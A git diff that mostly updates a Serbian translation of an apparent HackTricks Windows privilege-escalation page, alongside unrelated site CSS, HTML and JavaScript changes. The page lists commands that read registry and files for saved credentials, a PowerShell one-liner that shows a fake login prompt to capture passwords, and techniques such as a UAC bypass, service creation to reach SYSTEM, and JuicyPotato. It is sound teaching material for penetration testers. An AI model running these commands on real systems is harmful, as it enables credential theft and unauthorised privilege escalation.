### SSH ključevi u registru
|
||||
|
||||
SSH privatni ključevi mogu biti smešteni unutar registracijske ključeve `HKCU\Software\OpenSSH\Agent\Keys`, pa treba da proverite da li ima nečega zanimljivog tamo:
|
||||
SSH privatni ključevi mogu biti smešteni unutar registracijske ključe `HKCU\Software\OpenSSH\Agent\Keys`, pa treba da proverite da li ima nečega zanimljivog tamo:
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Ako pronađete bilo koji unos unutar tog puta, verovatno će to biti sačuvan SSH ključ. Čuva se enkriptovan, ali se može lako dekriptovati koristeći [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Više informacija o ovoj tehnici ovde: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokrene pri podizanju, pokrenite:
|
||||
Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokrene pri podizanju sistema, pokrenite:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
@ -932,6 +932,8 @@ C:\unattend.inf
|
||||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||||
```
|
||||
Možete takođe pretraživati ove datoteke koristeći **metasploit**: _post/windows/gather/enum_unattend_
|
||||
|
||||
Primer sadržaja:
|
||||
```xml
|
||||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||||
<AutoLogon>
|
||||
@ -976,7 +978,7 @@ Potražite datoteku pod nazivom **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Prethodno je bila dostupna funkcija koja je omogućavala implementaciju prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne sigurnosne nedostatke. Prvo, Group Policy Objects (GPOs), pohranjeni kao XML datoteke u SYSVOL, mogli su biti dostupni bilo kojem korisniku domena. Drugo, lozinke unutar ovih GPP-a, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.
|
||||
Prethodno je bila dostupna funkcija koja je omogućavala implementaciju prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne sigurnosne nedostatke. Prvo, Group Policy Objects (GPOs), smešteni kao XML datoteke u SYSVOL, mogli su biti dostupni bilo kojem korisniku domena. Drugo, lozinke unutar ovih GPP-a, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.
|
||||
|
||||
Da bi se umanjio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP datoteke koje sadrže "cpassword" polje koje nije prazno. Kada pronađe takvu datoteku, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji datoteke, pomažući u identifikaciji i otklanjanju ove sigurnosne ranjivosti.
|
||||
|
||||
@ -1050,9 +1052,9 @@ C:\inetpub\logs\LogFiles\*
|
||||
#Apache
|
||||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
### Traženje kredencijala
|
||||
### Tražite akreditive
|
||||
|
||||
Uvek možete **tražiti od korisnika da unese svoje kredencijale ili čak kredencijale drugog korisnika** ako mislite da ih može znati (imajte na umu da je **direktno traženje** od klijenta za **kredencijalima** zaista **rizično**):
|
||||
Uvek možete **zamoliti korisnika da unese svoje akreditive ili čak akreditive drugog korisnika** ako mislite da ih može znati (imajte na umu da je **direktno traženje** od klijenta za **akreditivima** zaista **rizično**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1135,15 +1137,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
|
||||
```
|
||||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||||
```
|
||||
### Kredencijali u RecycleBin
|
||||
### Akreditivi u RecycleBin
|
||||
|
||||
Trebalo bi da proverite i Kantu da potražite kredencijale unutar njega
|
||||
Trebalo bi da proverite i Kantu za otpatke da biste potražili akreditive unutar njega
|
||||
|
||||
Da **opet dobijete lozinke** sačuvane od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
Da **oporavite lozinke** sačuvane od strane nekoliko programa, možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
|
||||
### Unutar registra
|
||||
|
||||
**Ostali mogući ključevi registra sa kredencijalima**
|
||||
**Ostali mogući ključevi registra sa akreditivima**
|
||||
```bash
|
||||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||||
@ -1190,7 +1192,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
findstr /spin "password" *.*
|
||||
```
|
||||
**Pretražite datoteku sa određenim imenom datoteke**
|
||||
**Pretražite datoteku sa određenim imenom**
|
||||
```bash
|
||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
@ -1218,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
Zamislite da **proces koji se izvršava kao SYSTEM otvara novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Taj isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama, ali nasleđuje sve otvorene handle-ove glavnog procesa**.\
|
||||
Tada, ako imate **potpun pristup niskopravnom procesu**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
|
||||
Zamislite da **proces koji se izvršava kao SYSTEM otvara novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama, ali nasleđuje sve otvorene handle-ove glavnog procesa**.\
|
||||
Tada, ako imate **potpun pristup procesu sa niskim privilegijama**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1251,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
## Od korisnika sa niskim privilegijama do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
|
||||
Ako imate pristup grafičkom interfejsu (putem konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows-a moguće je pokrenuti terminal ili bilo koji drugi proces kao što je "NT\AUTHORITY SYSTEM" iz korisnika bez privilegija.
|
||||
Ako imate pristup grafičkom interfejsu (putem konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows-a moguće je pokrenuti terminal ili bilo koji drugi proces kao "NT\AUTHORITY SYSTEM" iz korisnika bez privilegija.
|
||||
|
||||
To omogućava eskalaciju privilegija i zaobilaženje UAC-a u isto vreme koristeći istu ranjivost. Pored toga, nije potrebno instalirati ništa, a binarni fajl koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.
|
||||
|
||||
@ -1299,25 +1301,25 @@ Imate sve potrebne datoteke i informacije u sledećem GitHub repozitorijumu:
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Od Administrator Medium do High Integrity Level / UAC Bypass
|
||||
## Od Administratorskog Srednjeg do Visokog Integriteta / UAC Obilaženje
|
||||
|
||||
Pročitajte ovo da **naučite o Integrity Levels**:
|
||||
Pročitajte ovo da **naučite o Integritetskim Nivima**:
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Zatim **pročitajte ovo da naučite o UAC i UAC bypasses:**
|
||||
Zatim **pročitajte ovo da naučite o UAC-u i UAC obilaženjima:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **Od High Integrity do System**
|
||||
## **Od Visokog Integriteta do Sistema**
|
||||
|
||||
### **Nova usluga**
|
||||
|
||||
Ako već radite na High Integrity procesu, **prelazak na SYSTEM** može biti lak samo **kreiranjem i izvršavanjem nove usluge**:
|
||||
Ako već radite na procesu sa Visokim Integritetom, **prelazak na SYSTEM** može biti lak samo **kreiranjem i izvršavanjem nove usluge**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1325,34 +1327,36 @@ sc start newservicename
|
||||
### AlwaysInstallElevated
|
||||
|
||||
Iz procesa visokog integriteta možete pokušati da **omogućite AlwaysInstallElevated registry unose** i **instalirate** reverznu ljusku koristeći _**.msi**_ omotač.\
|
||||
[Više informacija o registrovskim ključevima koji su uključeni i kako instalirati _.msi_ paket ovde.](./#alwaysinstallelevated)
|
||||
[Više informacija o registrovskim ključevima i kako instalirati _.msi_ paket ovde.](./#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilegija do Sistema
|
||||
### High + SeImpersonate privilegija do System
|
||||
|
||||
**Možete** [**pronaći kod ovde**](seimpersonate-from-high-to-system.md)**.**
|
||||
|
||||
### Od SeDebug + SeImpersonate do punih Token privilegija
|
||||
|
||||
Ako imate te privilegije tokena (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo svaki proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
|
||||
Korišćenjem ove tehnike obično se **izabere bilo koji proces koji se izvršava kao SYSTEM sa svim privilegijama tokena** (_da, možete pronaći SYSTEM procese bez svih privilegija tokena_).\
|
||||
Ako imate te token privilegije (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo svaki proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
|
||||
Korišćenjem ove tehnike obično se **izabere bilo koji proces koji se izvršava kao SYSTEM sa svim token privilegijama** (_da, možete pronaći SYSTEM procese bez svih token privilegija_).\
|
||||
**Možete pronaći** [**primer koda koji izvršava predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Zatim, **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju će moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
|
||||
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji u **kreiranju cevi i zatim kreiranju/zloupotrebi usluge za pisanje na tu cev**. Tada će **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
|
||||
Ako želite da [**saznate više o named pipes, trebate pročitati ovo**](./#named-pipe-client-impersonation).\
|
||||
Ako želite da pročitate primer [**kako preći sa visokog integriteta na Sistem koristeći named pipes, trebate pročitati ovo**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
Ako želite da pročitate primer [**kako preći sa visokog integriteta na System koristeći named pipes, trebate pročitati ovo**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Ako uspete da **otmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite arbitrarni kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, što je još važnije, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
|
||||
Ako uspete da **otmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite arbitrarni kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
|
||||
**Možete** [**saznati više o Dll hijacking-u ovde**](dll-hijacking/)**.**
|
||||
|
||||
### **Od Administratora ili Mrežne Usluge do Sistema**
|
||||
### **Od Administratora ili Mrežne Usluge do System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### Od LOKALNE USLUGE ili MREŽNE USLUGE do punih privilegija
|
||||
### Od LOCAL SERVICE ili NETWORK SERVICE do punih privilegija
|
||||
|
||||
**Pročitajte:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||||
|
||||
@ -1400,7 +1404,7 @@ Ako uspete da **otmete dll** koji se **učitava** od strane **procesa** koji se
|
||||
|
||||
_multi/recon/local_exploit_suggestor_
|
||||
|
||||
Morate kompajlirati projekat koristeći ispravnu verziju .NET ([vidi ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvovom hostu, možete uraditi:
|
||||
Morate kompajlirati projekat koristeći ispravnu verziju .NET ([vidite ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvovom hostu, možete uraditi:
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
|
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato ne radi** na Windows Server 2019 i Windows 10 verziji 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogu se koristiti za **iskorišćavanje istih privilegija i dobijanje `NT AUTHORITY\SYSTEM`** nivo pristupa. _**Proverite:**_
|
||||
> [!WARNING] > **JuicyPotato ne radi** na Windows Server 2019 i Windows 10 verziji 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogu se koristiti za **iskorišćavanje istih privilegija i dobijanje `NT AUTHORITY\SYSTEM`** nivo pristupa. _**Proverite:**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
@ -46,8 +45,8 @@ JuicyPotato vam omogućava:
|
||||
- `oba`
|
||||
- **Proces za pokretanje** _pokrenite izvršni fajl ili skriptu ako eksploatacija uspe_
|
||||
- **Argument procesa** _prilagodite argumente pokrenutog procesa_
|
||||
- **RPC adresa servera** _za diskretniji pristup možete se autentifikovati na eksterni RPC server_
|
||||
- **RPC port servera** _korisno ako želite da se autentifikujete na eksterni server i vatrozid blokira port `135`…_
|
||||
- **RPC Server adresa** _za diskretniji pristup možete se autentifikovati na eksterni RPC server_
|
||||
- **RPC Server port** _korisno ako želite da se autentifikujete na eksterni server i vatrozid blokira port `135`…_
|
||||
- **TEST mod** _pretežno za testiranje, tj. testiranje CLSID-ova. Kreira DCOM i štampa korisnika tokena. Pogledajte_ [_ovde za testiranje_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Korišćenje <a href="#usage" id="usage"></a>
|
||||
@ -108,7 +107,9 @@ c:\Users\Public>
|
||||
|
||||
Često, podrazumevani CLSID koji JuicyPotato koristi **ne funkcioniše** i eksploatacija ne uspeva. Obično je potrebno više pokušaja da se pronađe **funkcionalni CLSID**. Da biste dobili listu CLSID-ova koje treba isprobati za određeni operativni sistem, trebate posetiti ovu stranicu:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **Proveravanje CLSID-ova**
|
||||
|
||||
|
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
Loading…
x
Reference in New Issue
Block a user